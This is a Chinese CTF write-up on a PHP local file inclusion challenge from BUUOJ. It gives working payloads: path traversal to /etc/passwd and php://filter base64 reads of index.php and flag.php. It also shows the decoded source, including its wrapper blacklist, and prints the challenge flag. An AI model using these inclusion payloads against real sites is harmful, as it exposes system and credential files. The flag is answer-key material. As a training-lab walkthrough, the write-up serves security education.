web-buuoj-[ACTF2020 新生赛]Include


一、题面

题目链接:

https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Include

点击tips:

通过file参数提供一个文件名,猜测可能是考察文件包含漏洞。

二、漏洞检测

http://3961ca17-148a-4df7-9da2-a4ae9c36be4c.node5.buuoj.cn:81/?file=../../../../etc/passwd

可以看到,成功包含了系统的敏感文件/etc/passwd

三、漏洞利用

那么如何获取flag呢?

3.1 尝试在根目录下找flag

/?file=../../../../flag

3.2 尝试用file://伪协议读取文件

​ 可能flag不在根目录下。

3.3 尝试包含当前页的源代码 php://filter

返回了一个超大响应,有点不对劲。尝试用php://filter/read读取index.php的源代码

?file=php://filter/read=convert.base64-encode/resource=index.php
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==

解码之后:

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

分析代码,发现ban掉了php://input、zip://、phar://和data伪协议。

但是还是没找到flag。

那再看一下flag.php

解码之后可以看到flag藏在flag.php的注释中。

3.4 flag

flag{769181eb-6984-411b-85bc-5ad97bf5093c}

总结

这一关的核心点是通过php://filter伪协议读取后端的源代码,核心payload:

php://filter/read=convert.base64-encode/resource=flag.php

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录